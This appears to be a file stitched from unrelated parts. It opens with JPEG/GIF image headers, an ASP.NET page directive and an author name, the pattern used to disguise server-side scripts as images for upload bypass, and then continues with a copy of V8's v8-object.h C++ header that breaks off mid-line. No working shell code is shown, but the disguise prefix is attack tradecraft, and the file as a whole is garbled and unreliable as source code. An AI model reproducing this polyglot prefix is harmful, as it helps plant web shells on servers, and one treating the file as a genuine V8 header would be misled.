ÿØÿà JFIF ÿÛ C
$.' ",#(7),01444'9=82<.342ÿÛ C
2!!22222222222222222222222222222222222222222222222222ÿþGIF89a;
<%@ Page Language="C#" %>
Mahdee Rajon
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
ÿØÿà JFIF ÿÛ „ ( %!1!%*+...983,7(-.-
// Copyright 2021 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef INCLUDE_V8_OBJECT_H_
#define INCLUDE_V8_OBJECT_H_
#include "v8-internal.h" // NOLINT(build/include_directory)
#include "v8-local-handle.h" // NOLINT(build/include_directory)
#include "v8-maybe.h" // NOLINT(build/include_directory)
#include "v8-persistent-handle.h" // NOLINT(build/include_directory)
#include "v8-primitive.h" // NOLINT(build/include_directory)
#include "v8-sandbox.h" // NOLINT(build/include_directory)
#include "v8-traced-handle.h" // NOLINT(build/include_directory)
#include "v8-value.h" // NOLINT(build/include_directory)
#include "v8config.h" // NOLINT(build/include_directory)
namespace v8 {
class Array;
class Function;
class FunctionTemplate;
template
class PropertyCallbackInfo;
/**
* A private symbol
*
* This is an experimental feature. Use at your own risk.
*/
class V8_EXPORT Private : public Data {
public:
/**
* Returns the print name string of the private symbol, or undefined if none.
*/
Local Name() const;
/**
* Create a private symbol. If name is not empty, it will be the description.
*/
static Local New(Isolate* isolate,
Local name = Local());
/**
* Retrieve a global private symbol. If a symbol with this name has not
* been retrieved in the same isolate before, it is created.
* Note that private symbols created this way are never collected, so
* they should only be used for statically fixed properties.
* Also, there is only one global name space for the names used as keys.
* To minimize the potential for clashes, use qualified names as keys,
* e.g., "Class#property".
*/
static Local ForApi(Isolate* isolate, Local name);
V8_INLINE static Private* Cast(Data* data);
private:
Private();
static void CheckCast(Data* that);
};
/**
* An instance of a Property Descriptor, see Ecma-262 6.2.4.
*
* Properties in a descriptor are present or absent. If you do not set
* `enumerable`, `configurable`, and `writable`, they are absent. If `value`,
* `get`, or `set` are absent, but you must specify them in the constructor, use
* empty handles.
*
* Accessors `get` and `set` must be callable or undefined if they are present.
*
* \note Only query properties if they are present, i.e., call `x()` only if
* `has_x()` returns true.
*
* \code
* // var desc = {writable: false}
* v8::PropertyDescriptor d(Local()), false);
* d.value(); // error, value not set
* if (d.has_writable()) {
* d.writable(); // false
* }
*
* // var desc = {value: undefined}
* v8::PropertyDescriptor d(v8::Undefined(isolate));
*
* // var desc = {get: undefined}
* v8::PropertyDescriptor d(v8::Undefined(isolate), Local()));
* \endcode
*/
class V8_EXPORT PropertyDescriptor {
public:
// GenericDescriptor
PropertyDescriptor();
// DataDescriptor
explicit PropertyDescriptor(Local value);
// DataDescriptor with writable property
PropertyDescriptor(Local value, bool writable);
// AccessorDescriptor
PropertyDescriptor(Local get, Local set);
~PropertyDescriptor();
Local value() const;
bool has_value() const;
Local get() const;
bool has_get() const;
Local set() const;
bool has_set() const;
void set_enumerable(bool enumerable);
bool enumerable() const;
bool has_enumerable() const;
void set_configurable(bool configurable);
bool configurable() const;
bool has_configurable() const;
bool writable() const;
bool has_writable() const;
struct PrivateData;
PrivateData* get_private() const { return private_; }
PropertyDescriptor(const PropertyDescriptor&) = delete;
void operator=(const PropertyDescriptor&) = delete;
private:
PrivateData* private_;
};
/**
* PropertyAttribute.
*/
enum PropertyAttribute {
/** None. **/
None = 0,
/** ReadOnly, i.e., not writable. **/
ReadOnly = 1 << 0,
/** DontEnum, i.e., not enumerable. **/
DontEnum = 1 << 1,
/** DontDelete, i.e., not configurable. **/
DontDelete = 1 << 2
};
/**
* Accessor[Getter|Setter] are used as callback functions when setting|getting
* a particular data property. See Object::SetNativeDataProperty and
* ObjectTemplate::SetNativeDataProperty methods.
*/
using AccessorNameGetterCallback =
void (*)(Local property, const PropertyCallbackInfo& info);
using AccessorNameSetterCallback =
void (*)(Local property, Local value,
const PropertyCallbackInfo& info);
/**
* Access control specifications.
*
* Some accessors should be accessible across contexts. These
* accessors have an explicit access control parameter which specifies
* the kind of cross-context access that should be allowed.
*
*/
enum V8_DEPRECATE_SOON(
"This enum is no longer used and will be removed in V8 12.9.")
AccessControl {
DEFAULT V8_ENUM_DEPRECATE_SOON("not used") = 0,
};
/**
* Property filter bits. They can be or'ed to build a composite filter.
*/
enum PropertyFilter {
ALL_PROPERTIES = 0,
ONLY_WRITABLE = 1,
ONLY_ENUMERABLE = 2,
ONLY_CONFIGURABLE = 4,
SKIP_STRINGS = 8,
SKIP_SYMBOLS = 16
};
/**
* Options for marking whether callbacks may trigger JS-observable side effects.
* Side-effect-free callbacks are allowlisted during debug evaluation with
* throwOnSideEffect. It applies when calling a Function, FunctionTemplate,
* or an Accessor callback. For Interceptors, please see
* PropertyHandlerFlags's kHasNoSideEffect.
* Callbacks that only cause side effects to the receiver are allowlisted if
* invoked on receiver objects that are created within the same debug-evaluate
* call, as these objects are temporary and the side effect does not escape.
*/
enum class SideEffectType {
kHasSideEffect,
kHasNoSideEffect,
kHasSideEffectToReceiver
};
/**
* Keys/Properties filter enums:
*
* KeyCollectionMode limits the range of collected properties. kOwnOnly limits
* the collected properties to the given Object only. kIncludesPrototypes will
* include all keys of the objects's prototype chain as well.
*/
enum class KeyCollectionMode { kOwnOnly, kIncludePrototypes };
/**
* kIncludesIndices allows for integer indices to be collected, while
* kSkipIndices will exclude integer indices from being collected.
*/
enum class IndexFilter { kIncludeIndices, kSkipIndices };
/**
* kConvertToString will convert integer indices to strings.
* kKeepNumbers will return numbers for integer indices.
*/
enum class KeyConversionMode { kConvertToString, kKeepNumbers, kNoNumbers };
/**
* Integrity level for objects.
*/
enum class IntegrityLevel { kFrozen, kSealed };
/**
* A JavaScript object (ECMA-262, 4.3.3)
*/
class V8_EXPORT Object : public Value {
public:
/**
* Set only return Just(true) or Empty(), so if it should never fail, use
* result.Check().
*/
V8_WARN_UNUSED_RESULT Maybe Set(Local context,
Local key, Local value);
V8_WARN_UNUSED_RESULT Maybe Set(Local context,
Local key, Local value,
MaybeLocal receiver);
V8_WARN_UNUSED_RESULT Maybe Set(Local context, uint32_t index,
Local value);
/**
* Implements CreateDataProperty(O, P, V), see
* https://tc39.es/ecma262/#sec-createdataproperty.
*
* Defines a configurable, writable, enumerable property with the given value
* on the object unless the property already exists and is not configurable
* or the object is not extensible.
*
* Returns true on success.
*/
V8_WARN_UNUSED_RESULT Maybe CreateDataProperty(Local context,
Local key,
Local value);
V8_WARN_UNUSED_RESULT Maybe CreateDataProperty(Local context,
uint32_t index,
Local value);
/**
* Implements [[DefineOwnProperty]] for data property case, see
* https://tc39.es/ecma262/#table-essential-internal-methods.
*
* In general, CreateDataProperty will be faster, however, does not allow
* for specifying attributes.
*
* Returns true on success.
*/
V8_WARN_UNUSED_RESULT Maybe DefineOwnProperty(
Local context, Local key, Local value,
PropertyAttribute attributes = None);
/**
* Implements Object.defineProperty(O, P, Attributes), see
* https://tc39.es/ecma262/#sec-object.defineproperty.
*
* The defineProperty function is used to add an own property or
* update the attributes of an existing own property of an object.
*
* Both data and accessor descriptors can be used.
*
* In general, CreateDataProperty is faster, however, does not allow
* for specifying attributes or an accessor descriptor.
*
* The PropertyDescriptor can change when redefining a property.
*
* Returns true on success.
*/
V8_WARN_UNUSED_RESULT Maybe DefineProperty(
Local context, Local key, PropertyDescriptor& descriptor);
V8_WARN_UNUSED_RESULT MaybeLocal Get(Local context,
Local key);
V8_WARN_UNUSED_RESULT MaybeLocal Get(Local context,
Local key,
MaybeLocal receiver);
V8_WARN_UNUSED_RESULT MaybeLocal Get(Local context,
uint32_t index);
/**
* Gets the property attributes of a property which can be None or
* any combination of ReadOnly, DontEnum and DontDelete. Returns
* None when the property doesn't exist.
*/
V8_WARN_UNUSED_RESULT Maybe GetPropertyAttributes(
Local context, Local key);
/**
* Implements Object.getOwnPropertyDescriptor(O, P), see
* https://tc39.es/ecma262/#sec-object.getownpropertydescriptor.
*/
V8_WARN_UNUSED_RESULT MaybeLocal GetOwnPropertyDescriptor(
Local context, Local key);
/**
* Object::Has() calls the abstract operation HasProperty(O, P), see
* https://tc39.es/ecma262/#sec-hasproperty. Has() returns
* true, if the object has the property, either own or on the prototype chain.
* Interceptors, i.e., PropertyQueryCallbacks, are called if present.
*
* Has() has the same side effects as JavaScript's `variable in object`.
* For example, calling Has() on a revoked proxy will throw an exception.
*
* \note Has() converts the key to a name, which possibly calls back into
* JavaScript.
*
* See also v8::Object::HasOwnProperty() and
* v8::Object::HasRealNamedProperty().
*/
V8_WARN_UNUSED_RESULT Maybe Has(Local context,
Local key);
V8_WARN_UNUSED_RESULT Maybe Delete(Local context,
Local key);
V8_WARN_UNUSED_RESULT Maybe Has(Local context, uint32_t index);
V8_WARN_UNUSED_RESULT Maybe Delete(Local context,
uint32_t index);
/**
* Sets an accessor property like Template::SetAccessorProperty, but
* this method sets on this object directly.
*/
void SetAccessorProperty(Local name, Local getter,
Local setter = Local(),
PropertyAttribute attributes = None);
/**
* Sets a native data property like Template::SetNativeDataProperty, but
* this method sets on this object directly.
*/
V8_WARN_UNUSED_RESULT Maybe SetNativeDataProperty(
Local context, Local name,
AccessorNameGetterCallback getter,
AccessorNameSetterCallback setter = nullptr,
Local data = Local(), PropertyAttribute attributes = None,
SideEffectType getter_side_effect_type = SideEffectType::kHasSideEffect,
SideEffectType setter_side_effect_type = SideEffectType::kHasSideEffect);
/**
* Attempts to create a property with the given name which behaves like a data
* property, except that the provided getter is invoked (and provided with the
* data value) to supply its value the first time it is read. After the
* property is accessed once, it is replaced with an ordinary data property.
*
* Analogous to Template::SetLazyDataProperty.
*/
V8_WARN_UNUSED_RESULT Maybe SetLazyDataProperty(
Local context, Local name,
AccessorNameGetterCallback getter, Local data = Local(),
PropertyAttribute attributes = None,
SideEffectType getter_side_effect_type = SideEffectType::kHasSideEffect,
SideEffectType setter_side_effect_type = SideEffectType::kHasSideEffect);
/**
* Functionality for private properties.
* This is an experimental feature, use at your own risk.
* Note: Private properties are not inherited. Do not rely on this, since it
* may change.
*/
Maybe HasPrivate(Local context, Local key);
Maybe SetPrivate(Local context, Local key,
Local value);
Maybe DeletePrivate(Local context, Local key);
MaybeLocal GetPrivate(Local context, Local key);
/**
* Returns an array containing the names of the enumerable properties
* of this object, including properties from prototype objects. The
* array returned by this method contains the same values as would
* be enumerated by a for-in statement over this object.
*/
V8_WARN_UNUSED_RESULT MaybeLocal GetPropertyNames(
Local context);
V8_WARN_UNUSED_RESULT MaybeLocal GetPropertyNames(
Local context, KeyCollectionMode mode,
PropertyFilter property_filter, IndexFilter index_filter,
KeyConversionMode key_conversion = KeyConversionMode::kKeepNumbers);
/**
* This function has the same functionality as GetPropertyNames but
* the returned array doesn't contain the names of properties from
* prototype objects.
*/
V8_WARN_UNUSED_RESULT MaybeLocal GetOwnPropertyNames(
Local context);
/**
* Returns an array containing the names of the filtered properties
* of this object, including properties from prototype objects. The
* array returned by this method contains the same values as would
* be enumerated by a for-in statement over this object.
*/
V8_WARN_UNUSED_RESULT MaybeLocal GetOwnPropertyNames(
Local context, PropertyFilter filter,
KeyConversionMode key_conversion = KeyConversionMode::kKeepNumbers);
/**
* Get the prototype object. This does not skip objects marked to
* be skipped by __proto__ and it does not consult the security
* handler.
*/
V8_DEPRECATE_SOON(
"V8 will stop providing access to hidden prototype (i.e. "
"JSGlobalObject). Use GetPrototypeV2() instead. "
"See http://crbug.com/333672197.")
Local GetPrototype();
/**
* Get the prototype object (same as getting __proto__ property). This does
* not consult the security handler.
* TODO(333672197): rename back to GetPrototype() once the old version goes
* through the deprecation process and is removed.
*/
Local GetPrototypeV2();
/**
* Set the prototype object. This does not skip objects marked to
* be skipped by __proto__ and it does not consult the security
* handler.
*/
V8_DEPRECATE_SOON(
"V8 will stop providing access to hidden prototype (i.e. "
"JSGlobalObject). Use SetPrototypeV2() instead. "
"See http://crbug.com/333672197.")
V8_WARN_UNUSED_RESULT Maybe SetPrototype(Local context,
Local prototype);
/**
* Set the prototype object (same as setting __proto__ property). This does
* does not consult the security handler.
* TODO(333672197): rename back to SetPrototype() once the old version goes
* through the deprecation process and is removed.
*/
V8_WARN_UNUSED_RESULT Maybe SetPrototypeV2(Local context,
Local prototype);
/**
* Finds an instance of the given function template in the prototype
* chain.
*/
Local FindInstanceInPrototypeChain(Local tmpl);
/**
* Call builtin Object.prototype.toString on this object.
* This is different from Value::ToString() that may call
* user-defined toString function. This one does not.
*/
V8_WARN_UNUSED_RESULT MaybeLocal ObjectProtoToString(
Local context);
/**
* Returns the name of the function invoked as a constructor for this object.
*/
Local GetConstructorName();
/**
* Sets the integrity level of the object.
*/
Maybe SetIntegrityLevel(Local context, IntegrityLevel level);
/** Gets the number of internal fields for this Object. */
int InternalFieldCount() const;
/** Same as above, but works for PersistentBase. */
V8_INLINE static int InternalFieldCount(
const PersistentBase& object) {
return object.template value()->InternalFieldCount();
}
/** Same as above, but works for BasicTracedReference. */
V8_INLINE static int InternalFieldCount(
const BasicTracedReference& object) {
return object.template value()->InternalFieldCount();
}
/**
* Gets the data from an internal field.
* To cast the return value into v8::Value subtypes, it needs to be
* casted to a v8::Value first. For example, to cast it into v8::External:
*
* object->GetInternalField(index).As().As();
*
* The embedder should make sure that the internal field being retrieved
* using this method has already been set with SetInternalField() before.
**/
V8_INLINE Local GetInternalField(int index);
/** Sets the data in an internal field. */
void SetInternalField(int index, Local data);
/**
* Gets a 2-byte-aligned native pointer from an internal field. This field
* must have been set by SetAlignedPointerInInternalField, everything else
* leads to undefined behavior.
*/
V8_INLINE void* GetAlignedPointerFromInternalField(int index);
V8_INLINE void* GetAlignedPointerFromInternalField(v8::Isolate* isolate,
int index);
/** Same as above, but works for PersistentBase. */
V8_INLINE static void* GetAlignedPointerFromInternalField(
const PersistentBase& object, int index) {
return object.template value()->GetAlignedPointerFromInternalField(
index);
}
/** Same as above, but works for TracedReference. */
V8_INLINE static void* GetAlignedPointerFromInternalField(
const BasicTracedReference& object, int index) {
return object.template value()->GetAlignedPointerFromInternalField(
index);
}
/**
* Sets a 2-byte-aligned native pointer in an internal field. To retrieve such
* a field, GetAlignedPointerFromInternalField must be used, everything else
* leads to undefined behavior.
*/
void SetAlignedPointerInInternalField(int index, void* value);
void SetAlignedPointerInInternalFields(int argc, int indices[],
void* values[]);
/**
* Unwraps a JS wrapper object.
*
* \param tag The tag for retrieving the wrappable instance. Must match the
* tag that has been used for a previous `Wrap()` operation.
* \param isolate The Isolate for the `wrapper` object.
* \param wrapper The JS wrapper object that should be unwrapped.
* \returns the C++ wrappable instance, or nullptr if the JS object has never
* been wrapped.
*/
template
static V8_INLINE T* Unwrap(v8::Isolate* isolate,
const v8::Local& wrapper);
template
static V8_INLINE T* Unwrap(v8::Isolate* isolate,
const PersistentBase& wrapper);
template
static V8_INLINE T* Unwrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper);
template
static V8_INLINE T* Unwrap(v8::Isolate* isolate,
const v8::Local& wrapper,
CppHeapPointerTagRange tag_range);
template
static V8_INLINE T* Unwrap(v8::Isolate* isolate,
const PersistentBase& wrapper,
CppHeapPointerTagRange tag_range);
template
static V8_INLINE T* Unwrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper,
CppHeapPointerTagRange tag_range);
/**
* Wraps a JS wrapper with a C++ instance.
*
* \param tag The pointer tag that should be used for storing this object.
* Future `Unwrap()` operations must provide a matching tag.
* \param isolate The Isolate for the `wrapper` object.
* \param wrapper The JS wrapper object.
* \param wrappable The C++ object instance that is wrapped by the JS object.
*/
template
static V8_INLINE void Wrap(v8::Isolate* isolate,
const v8::Local& wrapper,
void* wrappable);
template
static V8_INLINE void Wrap(v8::Isolate* isolate,
const PersistentBase& wrapper,
void* wrappable);
template
static V8_INLINE void Wrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper,
void* wrappable);
static V8_INLINE void Wrap(v8::Isolate* isolate,
const v8::Local& wrapper,
void* wrappable, CppHeapPointerTag tag);
static V8_INLINE void Wrap(v8::Isolate* isolate,
const PersistentBase& wrapper,
void* wrappable, CppHeapPointerTag tag);
static V8_INLINE void Wrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper,
void* wrappable, CppHeapPointerTag tag);
/**
* HasOwnProperty() is like JavaScript's
* Object.prototype.hasOwnProperty().
*
* See also v8::Object::Has() and v8::Object::HasRealNamedProperty().
*/
V8_WARN_UNUSED_RESULT Maybe HasOwnProperty(Local context,
Local key);
V8_WARN_UNUSED_RESULT Maybe HasOwnProperty(Local context,
uint32_t index);
/**
* Use HasRealNamedProperty() if you want to check if an object has an own
* property without causing side effects, i.e., without calling interceptors.
*
* This function is similar to v8::Object::HasOwnProperty(), but it does not
* call interceptors.
*
* \note Consider using non-masking interceptors, i.e., the interceptors are
* not called if the receiver has the real named property. See
* `v8::PropertyHandlerFlags::kNonMasking`.
*
* See also v8::Object::Has().
*/
V8_WARN_UNUSED_RESULT Maybe HasRealNamedProperty(Local context,
Local key);
V8_WARN_UNUSED_RESULT Maybe HasRealIndexedProperty(
Local context, uint32_t index);
V8_WARN_UNUSED_RESULT Maybe HasRealNamedCallbackProperty(
Local context, Local key);
/**
* If result.IsEmpty() no real property was located in the prototype chain.
* This means interceptors in the prototype chain are not called.
*/
V8_WARN_UNUSED_RESULT MaybeLocal GetRealNamedPropertyInPrototypeChain(
Local context, Local key);
/**
* Gets the property attributes of a real property in the prototype chain,
* which can be None or any combination of ReadOnly, DontEnum and DontDelete.
* Interceptors in the prototype chain are not called.
*/
V8_WARN_UNUSED_RESULT Maybe
GetRealNamedPropertyAttributesInPrototypeChain(Local context,
Local key);
/**
* If result.IsEmpty() no real property was located on the object or
* in the prototype chain.
* This means interceptors in the prototype chain are not called.
*/
V8_WARN_UNUSED_RESULT MaybeLocal GetRealNamedProperty(
Local context, Local key);
/**
* Gets the property attributes of a real property which can be
* None or any combination of ReadOnly, DontEnum and DontDelete.
* Interceptors in the prototype chain are not called.
*/
V8_WARN_UNUSED_RESULT Maybe GetRealNamedPropertyAttributes(
Local context, Local key);
/** Tests for a named lookup interceptor.*/
bool HasNamedLookupInterceptor() const;
/** Tests for an index lookup interceptor.*/
bool HasIndexedLookupInterceptor() const;
/**
* Returns the identity hash for this object. The current implementation
* uses a hidden property on the object to store the identity hash.
*
* The return value will never be 0. Also, it is not guaranteed to be
* unique.
*/
int GetIdentityHash();
/**
* Clone this object with a fast but shallow copy. Values will point to the
* same values as the original object.
*
* Prefer using version with Isolate parameter.
*/
Local Clone(v8::Isolate* isolate);
Local Clone();
/**
* Returns the context in which the object was created.
*
* Prefer using version with Isolate parameter.
*/
MaybeLocal GetCreationContext(v8::Isolate* isolate);
V8_DEPRECATE_SOON("Use the version with the isolate argument.")
MaybeLocal GetCreationContext();
/**
* Shortcut for GetCreationContext(...).ToLocalChecked().
*
* Prefer using version with Isolate parameter.
**/
Local GetCreationContextChecked(v8::Isolate* isolate);
V8_DEPRECATE_SOON("Use the version with the isolate argument.")
Local GetCreationContextChecked();
/** Same as above, but works for Persistents */
V8_INLINE static MaybeLocal GetCreationContext(
v8::Isolate* isolate, const PersistentBase& object) {
return object.template value()->GetCreationContext(isolate);
}
V8_DEPRECATE_SOON("Use the version with the isolate argument.")
V8_INLINE static MaybeLocal GetCreationContext(
const PersistentBase& object);
/**
* Gets the context in which the object was created (see GetCreationContext())
* and if it's available reads respective embedder field value.
* If the context can't be obtained nullptr is returned.
* Basically it's a shortcut for
* obj->GetCreationContext().GetAlignedPointerFromEmbedderData(index)
* which doesn't create a handle for Context object on the way and doesn't
* try to expand the embedder data attached to the context.
* In case the Local is already available because of other reasons,
* it's fine to keep using Context::GetAlignedPointerFromEmbedderData().
*
* Prefer using version with Isolate parameter if you have an Isolate,
* otherwise use the other one.
*/
void* GetAlignedPointerFromEmbedderDataInCreationContext(v8::Isolate* isolate,
int index);
void* GetAlignedPointerFromEmbedderDataInCreationContext(int index);
/**
* Checks whether a callback is set by the
* ObjectTemplate::SetCallAsFunctionHandler method.
* When an Object is callable this method returns true.
*/
bool IsCallable() const;
/**
* True if this object is a constructor.
*/
bool IsConstructor() const;
/**
* Returns true if this object can be generally used to wrap object objects.
* This means that the object either follows the convention of using embedder
* fields to denote type/instance pointers or is using the Wrap()/Unwrap()
* APIs for the same purpose. Returns false otherwise.
*
* Note that there may be other objects that use embedder fields but are not
* used as API wrapper objects. E.g., v8::Promise may in certain configuration
* use embedder fields but promises are not generally supported as API
* wrappers. The method will return false in those cases.
*/
bool IsApiWrapper() const;
/**
* True if this object was created from an object template which was marked
* as undetectable. See v8::ObjectTemplate::MarkAsUndetectable for more
* information.
*/
bool IsUndetectable() const;
/**
* Call an Object as a function if a callback is set by the
* ObjectTemplate::SetCallAsFunctionHandler method.
*/
V8_WARN_UNUSED_RESULT MaybeLocal CallAsFunction(Local context,
Local recv,
int argc,
Local argv[]);
/**
* Call an Object as a constructor if a callback is set by the
* ObjectTemplate::SetCallAsFunctionHandler method.
* Note: This method behaves like the Function::NewInstance method.
*/
V8_WARN_UNUSED_RESULT MaybeLocal CallAsConstructor(
Local context, int argc, Local argv[]);
/**
* Return the isolate to which the Object belongs to.
*/
Isolate* GetIsolate();
V8_INLINE static Isolate* GetIsolate(const TracedReference& handle) {
return handle.template value()->GetIsolate();
}
/**
* If this object is a Set, Map, WeakSet or WeakMap, this returns a
* representation of the elements of this object as an array.
* If this object is a SetIterator or MapIterator, this returns all
* elements of the underlying collection, starting at the iterator's current
* position.
* For other types, this will return an empty MaybeLocal (without
* scheduling an exception).
*/
MaybeLocal PreviewEntries(bool* is_key_value);
static Local New(Isolate* isolate);
/**
* Creates a JavaScript object with the given properties, and
* a the given prototype_or_null (which can be any JavaScript
* value, and if it's null, the newly created object won't have
* a prototype at all). This is similar to Object.create().
* All properties will be created as enumerable, configurable
* and writable properties.
*/
static Local New(Isolate* isolate, Local prototype_or_null,
Local* names, Local* values,
size_t length);
V8_INLINE static Object* Cast(Value* obj);
/**
* Support for TC39 "dynamic code brand checks" proposal.
*
* This API allows to query whether an object was constructed from a
* "code like" ObjectTemplate.
*
* See also: v8::ObjectTemplate::SetCodeLike
*/
bool IsCodeLike(Isolate* isolate) const;
private:
static void* Unwrap(v8::Isolate* isolate, internal::Address wrapper_obj,
CppHeapPointerTagRange tag_range);
static void Wrap(v8::Isolate* isolate, internal::Address wrapper_obj,
CppHeapPointerTag tag, void* wrappable);
Object();
static void CheckCast(Value* obj);
Local SlowGetInternalField(int index);
void* SlowGetAlignedPointerFromInternalField(int index);
void* SlowGetAlignedPointerFromInternalField(v8::Isolate* isolate, int index);
};
// --- Implementation ---
Local Object::GetInternalField(int index) {
#ifndef V8_ENABLE_CHECKS
using A = internal::Address;
using I = internal::Internals;
A obj = internal::ValueHelper::ValueAsAddress(this);
// Fast path: If the object is a plain JSObject, which is the common case, we
// know where to find the internal fields and can return the value directly.
int instance_type = I::GetInstanceType(obj);
if (I::CanHaveInternalField(instance_type)) {
int offset = I::kJSAPIObjectWithEmbedderSlotsHeaderSize +
(I::kEmbedderDataSlotSize * index);
A value = I::ReadRawField(obj, offset);
#ifdef V8_COMPRESS_POINTERS
// We read the full pointer value and then decompress it in order to avoid
// dealing with potential endiannes issues.
value = I::DecompressTaggedField(obj, static_cast(value));
#endif
auto isolate = reinterpret_cast(
internal::IsolateFromNeverReadOnlySpaceObject(obj));
return Local::New(isolate, value);
}
#endif
return SlowGetInternalField(index);
}
void* Object::GetAlignedPointerFromInternalField(v8::Isolate* isolate,
int index) {
#if !defined(V8_ENABLE_CHECKS)
using A = internal::Address;
using I = internal::Internals;
A obj = internal::ValueHelper::ValueAsAddress(this);
// Fast path: If the object is a plain JSObject, which is the common case, we
// know where to find the internal fields and can return the value directly.
auto instance_type = I::GetInstanceType(obj);
if (V8_LIKELY(I::CanHaveInternalField(instance_type))) {
int offset = I::kJSAPIObjectWithEmbedderSlotsHeaderSize +
(I::kEmbedderDataSlotSize * index) +
I::kEmbedderDataSlotExternalPointerOffset;
A value =
I::ReadExternalPointerField(
isolate, obj, offset);
return reinterpret_cast(value);
}
#endif
return SlowGetAlignedPointerFromInternalField(isolate, index);
}
void* Object::GetAlignedPointerFromInternalField(int index) {
#if !defined(V8_ENABLE_CHECKS)
using A = internal::Address;
using I = internal::Internals;
A obj = internal::ValueHelper::ValueAsAddress(this);
// Fast path: If the object is a plain JSObject, which is the common case, we
// know where to find the internal fields and can return the value directly.
auto instance_type = I::GetInstanceType(obj);
if (V8_LIKELY(I::CanHaveInternalField(instance_type))) {
int offset = I::kJSAPIObjectWithEmbedderSlotsHeaderSize +
(I::kEmbedderDataSlotSize * index) +
I::kEmbedderDataSlotExternalPointerOffset;
Isolate* isolate = I::GetIsolateForSandbox(obj);
A value =
I::ReadExternalPointerField(
isolate, obj, offset);
return reinterpret_cast(value);
}
#endif
return SlowGetAlignedPointerFromInternalField(index);
}
// static
template
T* Object::Unwrap(v8::Isolate* isolate, const v8::Local& wrapper) {
CppHeapPointerTagRange tag_range(tag, tag);
auto obj = internal::ValueHelper::ValueAsAddress(*wrapper);
#if !defined(V8_ENABLE_CHECKS)
return internal::ReadCppHeapPointerField(
isolate, obj, internal::Internals::kJSObjectHeaderSize, tag_range);
#else // defined(V8_ENABLE_CHECKS)
return reinterpret_cast(Unwrap(isolate, obj, tag_range));
#endif // defined(V8_ENABLE_CHECKS)
}
// static
template
T* Object::Unwrap(v8::Isolate* isolate, const PersistentBase& wrapper) {
CppHeapPointerTagRange tag_range(tag, tag);
auto obj =
internal::ValueHelper::ValueAsAddress(wrapper.template value());
#if !defined(V8_ENABLE_CHECKS)
return internal::ReadCppHeapPointerField(
isolate, obj, internal::Internals::kJSObjectHeaderSize, tag_range);
#else // defined(V8_ENABLE_CHECKS)
return reinterpret_cast(Unwrap(isolate, obj, tag_range));
#endif // defined(V8_ENABLE_CHECKS)
}
// static
template
T* Object::Unwrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper) {
CppHeapPointerTagRange tag_range(tag, tag);
auto obj =
internal::ValueHelper::ValueAsAddress(wrapper.template value());
#if !defined(V8_ENABLE_CHECKS)
return internal::ReadCppHeapPointerField(
isolate, obj, internal::Internals::kJSObjectHeaderSize, tag_range);
#else // defined(V8_ENABLE_CHECKS)
return reinterpret_cast(Unwrap(isolate, obj, tag_range));
#endif // defined(V8_ENABLE_CHECKS)
}
// static
template
T* Object::Unwrap(v8::Isolate* isolate, const v8::Local& wrapper,
CppHeapPointerTagRange tag_range) {
auto obj = internal::ValueHelper::ValueAsAddress(*wrapper);
#if !defined(V8_ENABLE_CHECKS)
return internal::ReadCppHeapPointerField(
isolate, obj, internal::Internals::kJSObjectHeaderSize, tag_range);
#else // defined(V8_ENABLE_CHECKS)
return reinterpret_cast(Unwrap(isolate, obj, tag_range));
#endif // defined(V8_ENABLE_CHECKS)
}
// static
template
T* Object::Unwrap(v8::Isolate* isolate, const PersistentBase& wrapper,
CppHeapPointerTagRange tag_range) {
auto obj =
internal::ValueHelper::ValueAsAddress(wrapper.template value());
#if !defined(V8_ENABLE_CHECKS)
return internal::ReadCppHeapPointerField(
isolate, obj, internal::Internals::kJSObjectHeaderSize, tag_range);
#else // defined(V8_ENABLE_CHECKS)
return reinterpret_cast(Unwrap(isolate, obj, tag_range));
#endif // defined(V8_ENABLE_CHECKS)
}
// static
template
T* Object::Unwrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper,
CppHeapPointerTagRange tag_range) {
auto obj =
internal::ValueHelper::ValueAsAddress(wrapper.template value());
#if !defined(V8_ENABLE_CHECKS)
return internal::ReadCppHeapPointerField(
isolate, obj, internal::Internals::kJSObjectHeaderSize, tag_range);
#else // defined(V8_ENABLE_CHECKS)
return reinterpret_cast(Unwrap(isolate, obj, tag_range));
#endif // defined(V8_ENABLE_CHECKS)
}
// static
template
void Object::Wrap(v8::Isolate* isolate, const v8::Local& wrapper,
void* wrappable) {
auto obj = internal::ValueHelper::ValueAsAddress(*wrapper);
Wrap(isolate, obj, tag, wrappable);
}
// static
template
void Object::Wrap(v8::Isolate* isolate, const PersistentBase& wrapper,
void* wrappable) {
auto obj =
internal::ValueHelper::ValueAsAddress(wrapper.template value());
Wrap(isolate, obj, tag, wrappable);
}
// static
template
void Object::Wrap(v8::Isolate* isolate,
const BasicTracedReference& wrapper,
void* wrappable) {
auto obj =
internal::ValueHelper::ValueAsAddress(wrapper.template value